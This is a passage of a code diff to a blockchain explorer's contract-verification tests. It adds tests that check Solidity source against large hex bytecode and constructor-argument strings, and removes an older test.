2c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610540565b80356002811061191357600080fd5b919050565b60008083601f840112611929578182fd5b50813567ffffffffffffffff811115611940578182fd5b60208301915083602082850101111561195857600080fd5b9250929050565b600060208284031215611970578081fd5b815161048b81611f0d565b600080600080600060808688031215611992578081fd5b853561199d81611f0d565b94506119ab60208701611904565b935060408601356119bb81611f25565b9250606086013567ffffffffffffffff8111156119d6578182fd5b6119e288828901611918565b969995985093965092949392505050565b600080600060408486031215611a07578283fd5b8335611a1281611f0d565b9250602084013567ffffffffffffffff811115611a2d578283fd5b611a3986828701611918565b9497909650939450505050565b600060208284031215611a57578081fd5b815161048b81611f25565b60008060408385031215611a74578182fd5b8235611a7f81611f25565b9150611a8d60208401611904565b90509250929050565b600060208284031215611aa7578081fd5b5051919050565b600060208284031215611abf578081fd5b813561048b81611f0d565b60008060408385031215611adc578182fd5b8235611ae781611f0d565b91506020830135611af781611f0d565b809150509250929050565b60008060008060608587031215611b17578384fd5b611b2085611904565b93506020850135611b3081611f25565b9250604085013567ffffffffffffffff811115611b4b578283fd5b611b5787828801611918565b95989497509550505050565b60008060008060008060a08789031215611b7b578081fd5b611b8487611904565b9550602087013594506040870135611b9b81611f0d565b93506060870135611bab81611f25565b9250608087013567ffffffffffffffff811115611bc6578182fd5b611bd289828a01611918565b979a9699509497509295939492505050565b600060208284031215611bf5578081fd5b5035919050565b6000815180845260208085019450808401835b83811015611c2b57815187529582019590820190600101611c0f565b509495945050505050565b6001600160a01b0384168152606060208201819052600090611c5a90830185611bfc565b8281036040840152611c6c8185611bfc565b9695505050505050565b6001600160a01b0384168152602081018390526060810160048310611cab57634e487b7160e01b600052602160045260246000fd5b826040830152949350505050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b6020808252601690820152751d1bdad95b905cdcda59db9b595b9d10dbdb9d1c9bdb60521b604082015260600190565b60208082526025908201527f596f75206e65656420746f2073656e642074686520616363657074616e6365206040820152643a32bc3a1760d91b606082015260800190565b6020808252602b908201527f546869732063616c6c206f6e6c7920776f726b73207768656e2074686520736860408201526a37b81034b99037b832b71760a91b606082015260800190565b60208082526036908201527f746f6b656e41737369676e6d656e74436f6e74726f6c206b65792072657175696040820152753932b2103337b9103a3434b990333ab731ba34b7b71760511b606082015260800190565b6020808252600b908201526a1cda1bdc10dbdb9d1c9bdb60aa1b604082015260600190565b6020808252602b908201527f73686f70436f6e74726f6c206b657920726571756972656420666f722074686960408201526a3990333ab731ba34b7b71760a91b606082015260800190565b60008219821115611e8157611e81611ef7565b500190565b600082611ea157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ec057611ec0611ef7565b500290565b600082821015611ed757611ed7611ef7565b500390565b6000600019821415611ef057611ef0611ef7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611f2257600080fd5b50565b8015158114611f2257600080fdfea2646970667358221220f2e9ba9e74b25591261868f1d84c2beef56c6930ea91cecb35779eaf5d20ba0b64736f6c63430008040033596f75206e65656420746f2070726f7669646520616e2061637475616c2043720000000000000000000000000884fc15e31b1b634732e140cb3f94b3cbfdd1c500000000000000000000000065fa22ba3d2ae2fcace9aabd40ef4605fa6365680000000000000000000000003151b7dd9f6e806d2709153765925c373af470890000000000000000000000000e76fdd1c4dc5336c8a083f709fd415eaf32b9bf00000000000000000000000000000000000000000000000000000000000003de00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000040000000000000000000000008abc5ad351bf625b71b41872145a9f78df35bbd3000000000000000000000000f1044e94a41a4ce7a132755f041811aa11e2891f000000000000000000000000c52d7b6293d8f772f25db88fb44f9ecd1be5a7c8000000000000000000000000a5a1e60613312a15d327e6347389ceec4e173ba1" + + contract_address = insert(:contract_address, contract_code: bytecode) + + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_creation_code + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract_source_code, + "compiler_version" => "v0.8.4+commit.c7e474f2", + "evm_version" => "default", + "name" => "CS3_1OnChainShop", + "optimization" => true, + "optimization_runs" => @optimization_runs, + "autodetect_constructor_args" => true + } + + assert {:ok, + %{ + abi: abi, + constructor_arguments: + "0000000000000000000000000884fc15e31b1b634732e140cb3f94b3cbfdd1c500000000000000000000000065fa22ba3d2ae2fcace9aabd40ef4605fa6365680000000000000000000000003151b7dd9f6e806d2709153765925c373af470890000000000000000000000000e76fdd1c4dc5336c8a083f709fd415eaf32b9bf00000000000000000000000000000000000000000000000000000000000003de00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000040000000000000000000000008abc5ad351bf625b71b41872145a9f78df35bbd3000000000000000000000000f1044e94a41a4ce7a132755f041811aa11e2891f000000000000000000000000c52d7b6293d8f772f25db88fb44f9ecd1be5a7c8000000000000000000000000a5a1e60613312a15d327e6347389ceec4e173ba1" + }} = Verifier.evaluate_authenticity(contract_address.hash, params) + + assert abi != nil + end + + test "issue 5430, 5434" do + contract_source_code = "contract C {function test() external pure returns (uint256) { return 1;} }" + + bytecode = + "0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063f8a8fd6d14602d575b600080fd5b60336047565b604051603e91906067565b60405180910390f35b60006001905090565b6000819050919050565b6061816050565b82525050565b6000602082019050607a6000830184605a565b9291505056fea164736f6c637823302e382e31342d63692e323032322e342e31332b636f6d6d69742e3235393233633166002b" + + contract_creation_code = + "0x608060405234801561001057600080fd5b5060ae8061001f6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063f8a8fd6d14602d575b600080fd5b60336047565b604051603e91906067565b60405180910390f35b60006001905090565b6000819050919050565b6061816050565b82525050565b6000602082019050607a6000830184605a565b9291505056fea164736f6c637823302e382e31342d63692e323032322e342e31332b636f6d6d69742e3235393233633166002b" + + contract_address = insert(:contract_address, contract_code: bytecode) - test "issue 4758" do - contract_source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/issue_4758.sol" - |> File.read!() - - bytecode = - "0x6080604052600436106101135760003560e01c8063759bd1fe116100a0578063a97eaba711610064578063a97eaba7146102db578063b7ec2086146102f1578063c7802ba214610306578063dd48f77414610326578063e2fa9ee01461034657600080fd5b8063759bd1fe146102535780638e8fa11f1461026657806390ffb8641461028657806391b7f5ed146102a65780639b6dbc8a146102c657600080fd5b80634707d000116100e75780634707d000146101c357806347535d7b146101e55780634a1bb6b41461020a57806353cdef02146102205780636aa7c1ab1461024057600080fd5b8062c0f916146101185780632481bb5c146101555780632ae3dc741461017557806339c4576214610195575b600080fd5b34801561012457600080fd5b50610138610133366004611be4565b610366565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561016157600080fd5b50600054610138906001600160a01b031681565b34801561018157600080fd5b50610138610190366004611a62565b610386565b3480156101a157600080fd5b506101b56101b0366004611a62565b6103f6565b60405190815260200161014c565b3480156101cf57600080fd5b506101e36101de366004611aca565b610492565b005b3480156101f157600080fd5b506101fa61064d565b604051901515815260200161014c565b34801561021657600080fd5b506101b560045481565b34801561022c57600080fd5b506101e361023b366004611aae565b610667565b6101e361024e36600461197b565b6107e2565b6101e3610261366004611b02565b610ad5565b34801561027257600080fd5b506101e36102813660046119f3565b610b11565b34801561029257600080fd5b506101fa6102a1366004611a62565b610c95565b3480156102b257600080fd5b506101e36102c1366004611be4565b610ca9565b3480156102d257600080fd5b506101e3610df6565b3480156102e757600080fd5b506101b560055481565b3480156102fd57600080fd5b506101b5610ed4565b34801561031257600080fd5b506101e3610321366004611b63565b610ff8565b34801561033257600080fd5b506101e3610341366004611aca565b6113d1565b34801561035257600080fd5b506101e3610361366004611be4565b6114e5565b6006816004811061037657600080fd5b01546001600160a01b0316905081565b600060068260018111156103aa57634e487b7160e01b600052602160045260246000fd5b846103b65760006103b9565b60025b60ff166103c69190611e6e565b600481106103e457634e487b7160e01b600052603260045260246000fd5b01546001600160a01b03169392505050565b6001546000906001600160a01b03166370a082316104148585610386565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561045357600080fd5b505afa158015610467573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048b9190611a96565b9392505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac1906104c090600401611ce8565b60206040518083038186803b1580156104d857600080fd5b505afa1580156104ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610510919061195f565b6001600160a01b0316336001600160a01b0316146105495760405162461bcd60e51b815260040161054090611da8565b60405180910390fd5b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b15801561059257600080fd5b505afa1580156105a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ca9190611a96565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561061057600080fd5b505af1158015610624573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106489190611a46565b505050565b60008060055411801561066257506005544210155b905090565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac19061069590600401611dfe565b60206040518083038186803b1580156106ad57600080fd5b505afa1580156106c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e5919061195f565b6001600160a01b0316336001600160a01b0316146107155760405162461bcd60e51b815260040161054090611e23565b6001600160a01b0381166107875760405162461bcd60e51b815260206004820152603360248201527f596f75206e65656420746f2070726f7669646520616e2061637475616c20627260448201527234b233b2903230ba309031b7b73a3930b1ba1760691b6064820152608401610540565b600080546040516001600160a01b03808516939216917f6a6e057f21cc834cf349d8150e92867f52cb34d54375f174c09c431538c3dfb991a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6107ea61064d565b151560011461080b5760405162461bcd60e51b815260040161054090611d5d565b826108585760405162461bcd60e51b815260206004820152601d60248201527f596f75206e65656420746f2061636365707420746865207465726d732e0000006044820152606401610540565b806108755760405162461bcd60e51b815260040161054090611d18565b6000806108828287610386565b6001546040516370a0823160e01b81526001600160a01b038084166004830152929350600092909116906370a082319060240160206040518083038186803b1580156108cd57600080fd5b505afa1580156108e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109059190611a96565b9050600081116109575760405162461bcd60e51b815260206004820181905260248201527f5468652072657175657374656420617373657420697320736f6c64206f75742e6044820152606401610540565b6000610961610ed4565b9050803410156109ca5760405162461bcd60e51b815260206004820152602e60248201527f53656e6420656e6f7567682063757272656e637920746f20706179206174206c60448201526d32b0b9ba1037b7329034ba32b69760911b6064820152608401610540565b60006109d68234611e86565b9050828111156109e35750815b60006109ef8383611ea6565b9050610a008b8b84898989896115ce565b60005460405163bf40fac160e01b815260206004820152600b60248201526a62656e656669636961727960a81b6044820152610aac9183916001600160a01b039091169063bf40fac19060640160206040518083038186803b158015610a6557600080fd5b505afa158015610a79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9d919061195f565b6001600160a01b0316906117eb565b80341115610ac857610ac8610ac18234611ec5565b33906117eb565b5050505050505050505050565b610add61064d565b1515600114610afe5760405162461bcd60e51b815260040161054090611d5d565b610b0b33858585856107e2565b50505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610b3f90600401611ce8565b60206040518083038186803b158015610b5757600080fd5b505afa158015610b6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8f919061195f565b6001600160a01b0316336001600160a01b031614610bbf5760405162461bcd60e51b815260040161054090611da8565b6001600160a01b038316610c155760405162461bcd60e51b815260206004820152601e60248201527f6e65656420612076616c696420726576657273652072656769737472617200006044820152606401610540565b60405163c47f002760e01b81526001600160a01b0384169063c47f002790610c439085908590600401611cb9565b602060405180830381600087803b158015610c5d57600080fd5b505af1158015610c71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0b9190611a96565b6000610ca183836103f6565b159392505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610cd790600401611dfe565b60206040518083038186803b158015610cef57600080fd5b505afa158015610d03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d27919061195f565b6001600160a01b0316336001600160a01b031614610d575760405162461bcd60e51b815260040161054090611e23565b60008111610db55760405162461bcd60e51b815260206004820152602560248201527f596f75206e65656420746f2070726f766964652061206e6f6e2d7a65726f20706044820152643934b1b29760d91b6064820152608401610540565b60045460408051918252602082018390527f8aa4fa52648a6d15edce8a179c792c86f3719d0cc3c572cf90f91948f0f2cb68910160405180910390a1600455565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610e2490600401611dfe565b60206040518083038186803b158015610e3c57600080fd5b505afa158015610e50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e74919061195f565b6001600160a01b0316336001600160a01b031614610ea45760405162461bcd60e51b815260040161054090611e23565b600060058190556040517f589bfff7e7b59e33b97fa923dbc99256a6d2fdf9a631b431fa2dc06f4eea0ded9190a1565b6000805460405163bf40fac160e01b81526020600482015260066024820152654f7261636c6560d01b60448201526064916001600160a01b03169063bf40fac190830160206040518083038186803b158015610f2f57600080fd5b505afa158015610f43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f67919061195f565b60405163048cc1a760e51b8152600060048201526001600160a01b03919091169063919834e09060240160206040518083038186803b158015610fa957600080fd5b505afa158015610fbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe19190611a96565b600454610fee9190611ea6565b6106629190611e86565b61100061064d565b15156001146110215760405162461bcd60e51b815260040161054090611d5d565b8261106e5760405162461bcd60e51b815260206004820152601d60248201527f596f75206e65656420746f2061636365707420746865207465726d732e0000006044820152606401610540565b8061108b5760405162461bcd60e51b815260040161054090611d18565b6001600087828111156110ae57634e487b7160e01b600052602160045260246000fd5b905060006110bc838a610386565b6001546040516370a0823160e01b81526001600160a01b038084166004830152929350600092909116906370a082319060240160206040518083038186803b15801561110757600080fd5b505afa15801561111b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113f9190611a96565b9050808911156111a95760405162461bcd60e51b815260206004820152602f60248201527f4e6f7420656e6f7567682061737365747320617661696c61626c6520746f206260448201526e3abc903a3430ba1030b6b7bab73a1760891b6064820152608401610540565b600254604051627eeac760e11b8152336004820152602481018590528a916001600160a01b03169062fdd58e9060440160206040518083038186803b1580156111f157600080fd5b505afa158015611205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112299190611a96565b10156112ad5760405162461bcd60e51b815260206004820152604760248201527f596f75206e65656420746f206f776e20656e6f7567682070726573616c65207660448201527f6f75636865727320746f2072656465656d20746865207370656369666965642060648201526630b6b7bab73a1760c91b608482015260a401610540565b604080516001808252818301909252600091602080830190803683375050604080516001808252818301909252929350600092915060208083019080368337019050509050848260008151811061131457634e487b7160e01b600052603260045260246000fd5b6020026020010181815250508a8160008151811061134257634e487b7160e01b600052603260045260246000fd5b6020908102919091010152600254604051637507c42960e11b81526001600160a01b039091169063ea0f88529061138190339086908690600401611c36565b600060405180830381600087803b15801561139b57600080fd5b505af11580156113af573d6000803e3d6000fd5b505050506113c38a8d8d89888860006115ce565b505050505050505050505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac1906113ff90600401611ce8565b60206040518083038186803b15801561141757600080fd5b505afa15801561142b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144f919061195f565b6001600160a01b0316336001600160a01b03161461147f5760405162461bcd60e51b815260040161054090611da8565b60405163a22cb46560e01b81526001600160a01b0382811660048301526001602483015283169063a22cb46590604401600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b505050505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac19061151390600401611dfe565b60206040518083038186803b15801561152b57600080fd5b505afa15801561153f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611563919061195f565b6001600160a01b0316336001600160a01b0316146115935760405162461bcd60e51b815260040161054090611e23565b60058190556040518181527f397a093f9e29b7327f453f9672278c54e4daed6b689ee9bb458ae76800452ad59060200160405180910390a150565b60005b858110156117e157600180546000916001600160a01b0390911690632f745c599087906115fe8689611ec5565b6116089190611ec5565b6040516001600160e01b031960e085901b1681526001600160a01b039092166004830152602482015260440160206040518083038186803b15801561164c57600080fd5b505afa158015611660573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116849190611a96565b600154604051632142170760e11b81526001600160a01b0388811660048301528c81166024830152604482018490529293509116906342842e0e90606401600060405180830381600087803b1580156116dc57600080fd5b505af11580156116f0573d6000803e3d6000fd5b505050508088600181111561171557634e487b7160e01b600052602160045260246000fd5b604080516001600160a01b038d168152891515602082015290810186905233907f1682a2a055cfda159fc278195b31d5f7ab61f5128c423fa0ea2bf511565a9b6d9060600160405180910390a46003546001805460405163ebaf492d60e01b81526001600160a01b039384169363ebaf492d9361179b9390911691869190600401611c76565b600060405180830381600087803b1580156117b557600080fd5b505af11580156117c9573d6000803e3d6000fd5b505050505080806117d990611edc565b9150506115d1565b5050505050505050565b8047101561183b5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610540565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611888576040519150601f19603f3d011682016040523d82523d6000602084013e61188d565b606091505b50509050806106485760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610540565b80356002811061191357600080fd5b919050565b60008083601f840112611929578182fd5b50813567ffffffffffffffff811115611940578182fd5b60208301915083602082850101111561195857600080fd5b9250929050565b600060208284031215611970578081fd5b815161048b81611f0d565b600080600080600060808688031215611992578081fd5b853561199d81611f0d565b94506119ab60208701611904565b935060408601356119bb81611f25565b9250606086013567ffffffffffffffff8111156119d6578182fd5b6119e288828901611918565b969995985093965092949392505050565b600080600060408486031215611a07578283fd5b8335611a1281611f0d565b9250602084013567ffffffffffffffff811115611a2d578283fd5b611a3986828701611918565b9497909650939450505050565b600060208284031215611a57578081fd5b815161048b81611f25565b60008060408385031215611a74578182fd5b8235611a7f81611f25565b9150611a8d60208401611904565b90509250929050565b600060208284031215611aa7578081fd5b5051919050565b600060208284031215611abf578081fd5b813561048b81611f0d565b60008060408385031215611adc578182fd5b8235611ae781611f0d565b91506020830135611af781611f0d565b809150509250929050565b60008060008060608587031215611b17578384fd5b611b2085611904565b93506020850135611b3081611f25565b9250604085013567ffffffffffffffff811115611b4b578283fd5b611b5787828801611918565b95989497509550505050565b60008060008060008060a08789031215611b7b578081fd5b611b8487611904565b9550602087013594506040870135611b9b81611f0d565b93506060870135611bab81611f25565b9250608087013567ffffffffffffffff811115611bc6578182fd5b611bd289828a01611918565b979a9699509497509295939492505050565b600060208284031215611bf5578081fd5b5035919050565b6000815180845260208085019450808401835b83811015611c2b57815187529582019590820190600101611c0f565b509495945050505050565b6001600160a01b0384168152606060208201819052600090611c5a90830185611bfc565b8281036040840152611c6c8185611bfc565b9695505050505050565b6001600160a01b0384168152602081018390526060810160048310611cab57634e487b7160e01b600052602160045260246000fd5b826040830152949350505050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b6020808252601690820152751d1bdad95b905cdcda59db9b595b9d10dbdb9d1c9bdb60521b604082015260600190565b60208082526025908201527f596f75206e65656420746f2073656e642074686520616363657074616e6365206040820152643a32bc3a1760d91b606082015260800190565b6020808252602b908201527f546869732063616c6c206f6e6c7920776f726b73207768656e2074686520736860408201526a37b81034b99037b832b71760a91b606082015260800190565b60208082526036908201527f746f6b656e41737369676e6d656e74436f6e74726f6c206b65792072657175696040820152753932b2103337b9103a3434b990333ab731ba34b7b71760511b606082015260800190565b6020808252600b908201526a1cda1bdc10dbdb9d1c9bdb60aa1b604082015260600190565b6020808252602b908201527f73686f70436f6e74726f6c206b657920726571756972656420666f722074686960408201526a3990333ab731ba34b7b71760a91b606082015260800190565b60008219821115611e8157611e81611ef7565b500190565b600082611ea157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ec057611ec0611ef7565b500290565b600082821015611ed757611ed7611ef7565b500390565b6000600019821415611ef057611ef0611ef7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611f2257600080fd5b50565b8015158114611f2257600080fdfea2646970667358221220f2e9ba9e74b25591261868f1d84c2beef56c6930ea91cecb35779eaf5d20ba0b64736f6c63430008040033" - - contract_creation_code = - "0x608060405260006005553480156200001657600080fd5b50604051620024e6380380620024e68339810160408190526200003991620003e5565b600080546001600160a01b0319166001600160a01b038816908117909155620000cf5760405162461bcd60e51b815260206004820152603360248201527f596f75206e65656420746f2070726f7669646520616e2061637475616c20627260448201527f69646765206461746120636f6e74726163742e0000000000000000000000000060648201526084015b60405180910390fd5b600380546001600160a01b0319166001600160a01b038716908117909155620001615760405162461bcd60e51b815260206004820152603860248201527f596f75206e65656420746f2070726f7669646520616e2061637475616c20736860448201527f697070696e67206d616e6167657220636f6e74726163742e00000000000000006064820152608401620000c6565b600180546001600160a01b0319166001600160a01b038616908117909155620001e25760405162461bcd60e51b81526020600482015260376024820152600080516020620024c683398151915260448201527f7970746f7374616d7020332e3120636f6e74726163742e0000000000000000006064820152608401620000c6565b600280546001600160a01b0319166001600160a01b038516908117909155620002635760405162461bcd60e51b815260206004820152603f6024820152600080516020620024c683398151915260448201527f7970746f7374616d7020332e312050726573616c6520636f6e74726163742e006064820152608401620000c6565b600482905581620002c55760405162461bcd60e51b815260206004820152602560248201527f596f75206e65656420746f2070726f766964652061206e6f6e2d7a65726f20706044820152643934b1b29760d91b6064820152608401620000c6565b805160049081146200032f5760405162461bcd60e51b815260206004820152602c60248201527f4e65656420636f727265637420616d6f756e74206f6620746f6b656e20706f6f60448201526b361030b2323932b9b9b2b99760a11b6064820152608401620000c6565b60005b81811015620003ba578281815181106200035c57634e487b7160e01b600052603260045260246000fd5b6020026020010151600682600481106200038657634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b0319166001600160a01b039290921691909117905580620003b1816200050f565b91505062000332565b50505050505050506200054d565b80516001600160a01b0381168114620003e057600080fd5b919050565b60008060008060008060c08789031215620003fe578182fd5b6200040987620003c8565b955060206200041a818901620003c8565b95506200042a60408901620003c8565b94506200043a60608901620003c8565b608089015160a08a015191955093506001600160401b03808211156200045e578384fd5b818a0191508a601f83011262000472578384fd5b81518181111562000487576200048762000537565b8060051b604051601f19603f83011681018181108582111715620004af57620004af62000537565b604052828152858101935084860182860187018f1015620004ce578788fd5b8795505b83861015620004fb57620004e681620003c8565b855260019590950194938601938601620004d2565b508096505050505050509295509295509295565b60006000198214156200053057634e487b7160e01b81526011600452602481fd5b5060010190565b634e487b7160e01b600052604160045260246000fd5b611f69806200055d6000396000f3fe6080604052600436106101135760003560e01c8063759bd1fe116100a0578063a97eaba711610064578063a97eaba7146102db578063b7ec2086146102f1578063c7802ba214610306578063dd48f77414610326578063e2fa9ee01461034657600080fd5b8063759bd1fe146102535780638e8fa11f1461026657806390ffb8641461028657806391b7f5ed146102a65780639b6dbc8a146102c657600080fd5b80634707d000116100e75780634707d000146101c357806347535d7b146101e55780634a1bb6b41461020a57806353cdef02146102205780636aa7c1ab1461024057600080fd5b8062c0f916146101185780632481bb5c146101555780632ae3dc741461017557806339c4576214610195575b600080fd5b34801561012457600080fd5b50610138610133366004611be4565b610366565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561016157600080fd5b50600054610138906001600160a01b031681565b34801561018157600080fd5b50610138610190366004611a62565b610386565b3480156101a157600080fd5b506101b56101b0366004611a62565b6103f6565b60405190815260200161014c565b3480156101cf57600080fd5b506101e36101de366004611aca565b610492565b005b3480156101f157600080fd5b506101fa61064d565b604051901515815260200161014c565b34801561021657600080fd5b506101b560045481565b34801561022c57600080fd5b506101e361023b366004611aae565b610667565b6101e361024e36600461197b565b6107e2565b6101e3610261366004611b02565b610ad5565b34801561027257600080fd5b506101e36102813660046119f3565b610b11565b34801561029257600080fd5b506101fa6102a1366004611a62565b610c95565b3480156102b257600080fd5b506101e36102c1366004611be4565b610ca9565b3480156102d257600080fd5b506101e3610df6565b3480156102e757600080fd5b506101b560055481565b3480156102fd57600080fd5b506101b5610ed4565b34801561031257600080fd5b506101e3610321366004611b63565b610ff8565b34801561033257600080fd5b506101e3610341366004611aca565b6113d1565b34801561035257600080fd5b506101e3610361366004611be4565b6114e5565b6006816004811061037657600080fd5b01546001600160a01b0316905081565b600060068260018111156103aa57634e487b7160e01b600052602160045260246000fd5b846103b65760006103b9565b60025b60ff166103c69190611e6e565b600481106103e457634e487b7160e01b600052603260045260246000fd5b01546001600160a01b03169392505050565b6001546000906001600160a01b03166370a082316104148585610386565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561045357600080fd5b505afa158015610467573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048b9190611a96565b9392505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac1906104c090600401611ce8565b60206040518083038186803b1580156104d857600080fd5b505afa1580156104ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610510919061195f565b6001600160a01b0316336001600160a01b0316146105495760405162461bcd60e51b815260040161054090611da8565b60405180910390fd5b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b15801561059257600080fd5b505afa1580156105a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ca9190611a96565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561061057600080fd5b505af1158015610624573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106489190611a46565b505050565b60008060055411801561066257506005544210155b905090565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac19061069590600401611dfe565b60206040518083038186803b1580156106ad57600080fd5b505afa1580156106c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e5919061195f565b6001600160a01b0316336001600160a01b0316146107155760405162461bcd60e51b815260040161054090611e23565b6001600160a01b0381166107875760405162461bcd60e51b815260206004820152603360248201527f596f75206e65656420746f2070726f7669646520616e2061637475616c20627260448201527234b233b2903230ba309031b7b73a3930b1ba1760691b6064820152608401610540565b600080546040516001600160a01b03808516939216917f6a6e057f21cc834cf349d8150e92867f52cb34d54375f174c09c431538c3dfb991a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6107ea61064d565b151560011461080b5760405162461bcd60e51b815260040161054090611d5d565b826108585760405162461bcd60e51b815260206004820152601d60248201527f596f75206e65656420746f2061636365707420746865207465726d732e0000006044820152606401610540565b806108755760405162461bcd60e51b815260040161054090611d18565b6000806108828287610386565b6001546040516370a0823160e01b81526001600160a01b038084166004830152929350600092909116906370a082319060240160206040518083038186803b1580156108cd57600080fd5b505afa1580156108e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109059190611a96565b9050600081116109575760405162461bcd60e51b815260206004820181905260248201527f5468652072657175657374656420617373657420697320736f6c64206f75742e6044820152606401610540565b6000610961610ed4565b9050803410156109ca5760405162461bcd60e51b815260206004820152602e60248201527f53656e6420656e6f7567682063757272656e637920746f20706179206174206c60448201526d32b0b9ba1037b7329034ba32b69760911b6064820152608401610540565b60006109d68234611e86565b9050828111156109e35750815b60006109ef8383611ea6565b9050610a008b8b84898989896115ce565b60005460405163bf40fac160e01b815260206004820152600b60248201526a62656e656669636961727960a81b6044820152610aac9183916001600160a01b039091169063bf40fac19060640160206040518083038186803b158015610a6557600080fd5b505afa158015610a79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9d919061195f565b6001600160a01b0316906117eb565b80341115610ac857610ac8610ac18234611ec5565b33906117eb565b5050505050505050505050565b610add61064d565b1515600114610afe5760405162461bcd60e51b815260040161054090611d5d565b610b0b33858585856107e2565b50505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610b3f90600401611ce8565b60206040518083038186803b158015610b5757600080fd5b505afa158015610b6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8f919061195f565b6001600160a01b0316336001600160a01b031614610bbf5760405162461bcd60e51b815260040161054090611da8565b6001600160a01b038316610c155760405162461bcd60e51b815260206004820152601e60248201527f6e65656420612076616c696420726576657273652072656769737472617200006044820152606401610540565b60405163c47f002760e01b81526001600160a01b0384169063c47f002790610c439085908590600401611cb9565b602060405180830381600087803b158015610c5d57600080fd5b505af1158015610c71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0b9190611a96565b6000610ca183836103f6565b159392505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610cd790600401611dfe565b60206040518083038186803b158015610cef57600080fd5b505afa158015610d03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d27919061195f565b6001600160a01b0316336001600160a01b031614610d575760405162461bcd60e51b815260040161054090611e23565b60008111610db55760405162461bcd60e51b815260206004820152602560248201527f596f75206e65656420746f2070726f766964652061206e6f6e2d7a65726f20706044820152643934b1b29760d91b6064820152608401610540565b60045460408051918252602082018390527f8aa4fa52648a6d15edce8a179c792c86f3719d0cc3c572cf90f91948f0f2cb68910160405180910390a1600455565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac190610e2490600401611dfe565b60206040518083038186803b158015610e3c57600080fd5b505afa158015610e50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e74919061195f565b6001600160a01b0316336001600160a01b031614610ea45760405162461bcd60e51b815260040161054090611e23565b600060058190556040517f589bfff7e7b59e33b97fa923dbc99256a6d2fdf9a631b431fa2dc06f4eea0ded9190a1565b6000805460405163bf40fa